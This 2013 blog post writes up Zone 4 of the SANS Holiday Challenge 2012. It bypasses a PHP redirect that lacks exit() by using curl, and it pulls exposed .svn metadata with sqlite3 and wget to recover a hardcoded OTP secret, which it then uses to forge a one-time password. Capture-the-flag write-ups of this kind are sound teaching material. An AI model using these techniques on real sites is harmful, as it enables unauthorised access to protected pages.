Monday, January 7, 2013

SANS Holiday Challenge 2012 Zone 4 Writeup

Zone 4

We can use the URLs obtained in the previous post to access Zone 4 for both Snow and Heat Miser.


Heat Miser

During our previous post, we were simply given the URL to Zone 4, with the assurance that there are mechanisms in place preventing us from accessing the page. By visiting the link, we are presented with the following:


...Well that's a bummer. Looking around, there doesn't appear to be any place for us to control input, or any obvious vulnerabilities, so let's take a closer look at what's going on. Connecting to the link again, we can see the following requests being made:


We can see that we make a first request to the given URL, and then are given a 302 Redirect with a Location header for a response. However, there is an issue when issuing a Location header with PHP, that is mentioned in the documentation. Consider the following example (mostly taken from the documentation):

 <?php  
 header("Location: http://www.example.com/"); /* Redirect browser */  
 /* The code below will execute */
 echo "This code will execute";
 give_admin_access();  
 ?>  

Turns out, even though the "header()" function is called, and the appropriate header is sent to the browser, the code below will still execute. The browser can simply ignore this header, and still view the result of the code being executed. The solution to this is for the code to call the "exit()" function after sending the header.

However, how can we ignore the header that is sent? We can use the popular tool cURL to set the maximum redirects to 0, and we will be able to exploit this condition.

 root@bt:~# curl --max-redirs 0 http://heatmiser.counterhack.com/zone-4-0F2EA639-19BF-40DD-A38D-635E1344C02B/  
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"  
 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">  
  <head>  
   <meta http-equiv="Content-type" content="text/html; charset=UTF-8" />  
   <meta http-equiv="Content-Language" content="en-us" />  
   <title>Heat Miser Wonderwarm HMI for the Global Heat Control System - Zone 4                                        </title>  
   <meta name="keywords" content="" />  
   <meta name="description" content="" />  
   <meta name="copyright" content="" />  
     <link type="text/css" href="/css/reset.css" rel="stylesheet" media="scre                                        en" />  
     <link type="text/css" href="/css/style.css" rel="stylesheet" media="scre                                        en" />  
  </head>  
 <body>  
     <div id="container">  
         <div id="header"><div id="title">  
             <a href='/'><img src="/images/logo.png" alt="Heat Miser                                        HMI" width="250" height="100" /></a>  
         </div>  
     </div>  
     <div id="sidebar">  
         <div class="sidebox">  
         <span class="stitle">Navigation</span>  
             <div id="navigation">  
             <div class="sidenav">  
                 <div class="navhead_blank">  
                 <span><a href="/" class="menu">Home</a></span>  
                 </div>  
                 <div class="navhead">  
                 <span>Zone</span>  
                 </div>  
                 <div class="subnav">  
                 <ul class="submenu">  
                   <li><a href="/zone-0-0AD9934A-8081-462B-8364                                        -9ADBFE963E91/" class="menu">Readonly</a></li>  
                   <li><a href='/zone-1-E919DBF1-E4FA-4141-97C4                                        -3F38693D2161/' class="menu">Zone 1</a></li>  
                   <li><a href='/zone-2-761EBBCF-099F-4DB0-B63F                                        -9ADC61825D49/' class="menu">Zone 2</a></li>  
                   <li><a href='/zone-3-83FEE8BE-B1C6-4395-A56A                                        -BF933FC85254/' class="menu">Zone 3</a></li>  
                   <li><a href='/zone-4-0F2EA639-19BF-40DD-A38D                                        -635E1344C02B/' class="menu">Zone 4</a></li>  
                   <li><a title='Link Removed for Security' cla                                        ss="menu">Zone 5 - Southtown, USA</a></li>  
                         </ul>  
                         <a href='http://www.counterhackc                                        hallenges.com' target='_blank'><img src='/images/chclogo-vert-hot.png' alt='Coun                                        ter Hack Challenges, LLC.' /></a>  
                     </div>  
             </div>  
             </div>  
         </div>  
     </div>  
     <div id="main">  
         <div id="content">  
                     <h2>Heat Miser Wonderwarm HMI for the Gl                                        obal Heat Control System</h2>  
             <h1>Zone 4 Controller</h1>  
             <h3><p>Current Access Level - <strong>Zone 4</strong></p                                        ></h3>  
 Link to <a href="/zone-5-15614E3A-CEA7-4A28-A85A-D688CC418287/">Zone 5</a>  
             <table>  
                 <tr>  
                     <td><h3>Heater for Zone 4:</h3></td>  
                     <td><form method="get"><input type="subm                                        it" name="machine" id="machine" value="Enable" class="navhead" /></form></td>  
                     <td><form method="get"><input type="subm                                        it" name="machine" id="machine" value="Disable" class="navhead" /></form></td>  
                     <!-- If you are looking for some super s                                        ecret code or database that stores your game state, good luck, it doesn't exist                                        -->  
                     <td width="55%"></td>  
                 </tr>  
                 <tr>  
                     <td colspan="4">  
                         <img src="on.png" />  
                     </td>  
                 </tr>  
             </table>  
             <!-- The flag for this level is e3ae414e6d428c3b0c7cff03                                        783e305f -->  
                 </div>  
     </div>  
  </body>  
 </html>  

Using this method, we are able to ignore the 302 redirect, and retrieve the password for the last zone.

Snow Miser

Connecting to Zone 4 for Snow Miser, we are presented with the following:


The description in this zone says that Snow Miser's workers "are updating the code using svn 1.7 and have implemented One-Time-Password (OTP) functionality to access Zone 5. The passwords are in SHA1 format, so they are unguessable."

We can find a great hint on how to tackle this challenge from Heat Miser's Twitter profile:


We can find the mentioned blog post here. Let's follow the steps outlined in the post, and then see if we can automate the process for later.

 root@bt:~# sqlite3 wc.db 'select local_relpath, ".svn/pristine/" || substr(checksum,7,2) || "/" || substr(checksum,7) || ".svn-base" as alpha from NODES;'  
 |  
 noaccess.php|.svn/pristine/41/4134e0e954d144ed932fd639b5a897f9ad47fff9.svn-base  
 index.php|.svn/pristine/7d/7d63810b0da679648fc20b4f1c84680ac08ec872.svn-base  
 root@bt:~# wget -O - http://snowmiser.counterhack.com/zone-5-89DE9B26-CF7D-4B07-88DE-7A2F0A7B16FE/.svn/pristine/7d/7d63810b0da679648fc20b4f1c84680ac08ec872.svn-base  
 --2012-12-10 08:17:57-- http://snowmiser.counterhack.com/zone-5-89DE9B26-CF7D-4B07-88DE-7A2F0A7B16FE/.svn/pristine/7d/7d63810b0da679648fc20b4f1c84680ac08ec872.svn-base  
 Resolving snowmiser.counterhack.com... 204.51.94.72  
 Connecting to snowmiser.counterhack.com|204.51.94.72|:80... connected.  
 HTTP request sent, awaiting response... 200 OK  
 Length: 951 [text/plain]  
 Saving to: `STDOUT'  
  0% [                                                                                              ] 0      --.-K/s       <?php  
 function generate_otp($time) {  
     $pass = sha1("$time 7998f77a7dc74f182a76219d7ee58db38be3841c");  
     return($pass);  
 }  
 function verify_otp($inpass) {  
     // passwords are valid for up to 3 minutes  
     // don't forget to use the server time (see the noaccess.php page)  
     $validstamps = array(  
         date('Y-m-d H:i', strtotime('+1 minute')), // added just in case the time sync is off  
         date('Y-m-d H:i'),  
         date('Y-m-d H:i', strtotime('-1 minute')),  
         date('Y-m-d H:i', strtotime('-2 minute')),  
     );  
     foreach ($validstamps as $stamp) {  
         if (strtolower($inpass) == generate_otp($stamp))  
             return TRUE;  
     }  
     return FALSE;  
 }  
 if ((array_key_exists('otp', $_POST) && verify_otp($_POST['otp'])) || (array_key_exists('otp', $_COOKIE) && verify_otp($_COOKIE['otp']))) {  
     setcookie('otp', generate_otp(date('Y-m-d H:i')));  
 } else {  
     header( 'Location: noaccess.php' );  
     die();  
 }  
 $accessallowed = TRUE;  
 $zone=5;  
 require_once('../include/template.inc.php');  
 ?>  

Sure enough, we are able to download the wc.db file and extract the location of the index.php file. From here, we can download and view the source of the file. Analyzing the PHP file, it appears as though the file does the following:

  • If we either send a POST request with an 'otp' parameter, and the verify_otp() function with that parameter returns true OR we have a cookie with an 'otp' parameter set, and the verify_otp() function with that parameter returns true:
    • A new OTP is generated, and a cookie is set
  • Else, we are denied access
But what should the 'otp' parameter contain? Let's analyze the verify_otp() function:

  • We start by generating an array of valid timestamps, which contains the current time, +1 minute, and -2 minutes as a buffer.
  • Then, for each value in this array
    • We call the generate_otp() function with the value and compare it to our value
      • If they match, we return True and exit
      • Else, we move on (eventually returning false if no match is found)
So, in a nutshell, we need to find a way to generate a proper otp. The generate_otp() function takes a time argument and creates a SHA1 hash from the time followed by a space, and a long alpha-numeric string. 

Therefore, if we can obtain the current time, generate our own SHA1 hash to get the OTP, and send that as a POST parameter, we will be granted access. I had previously obtained the current time from the "Access Denied" page. Then, the following allowed me to create the OTP:

 root@bt:~# php5  
 <?php  
 echo sha1('2012-12-10 19:02' . ' 7998f77a7dc74f182a76219d7ee58db38be3841c');  
 ?>  
 a2dc207f343db2659b83a2a83d46848587d15f6e  

Using this value as the OTP results in the following:


By performing these steps, we have successfully gained access to Snow Miser's Zone 5. Since there is nothing left to do for Snow Miser, the next post will only cover gaining access to Heat Miser's Zone 5.

Almost done!

As always, please don't hesitate to leave comments or suggestions below. Solve this Zone a different way? Let me know!

- Jordan

1 comment:

  1. As an addendum for Zone 4 of Heat Miser, I found two ways to work around the "access denied" message for zone 4

    1. Wireshark. No, really, that's it. Wireshark to capture your http traffic, follow stream for your tcp session going to heat miser's site. It's all there because of the exit function not being called.

    2. Similar to curl's no redirects option, Burp suite with the intercept proxy can do this (tedious) or you can use the firefox extension noredirects and set up a rule to block redirects from heat miser's site to gain access to the page in your web browser.

    ReplyDelete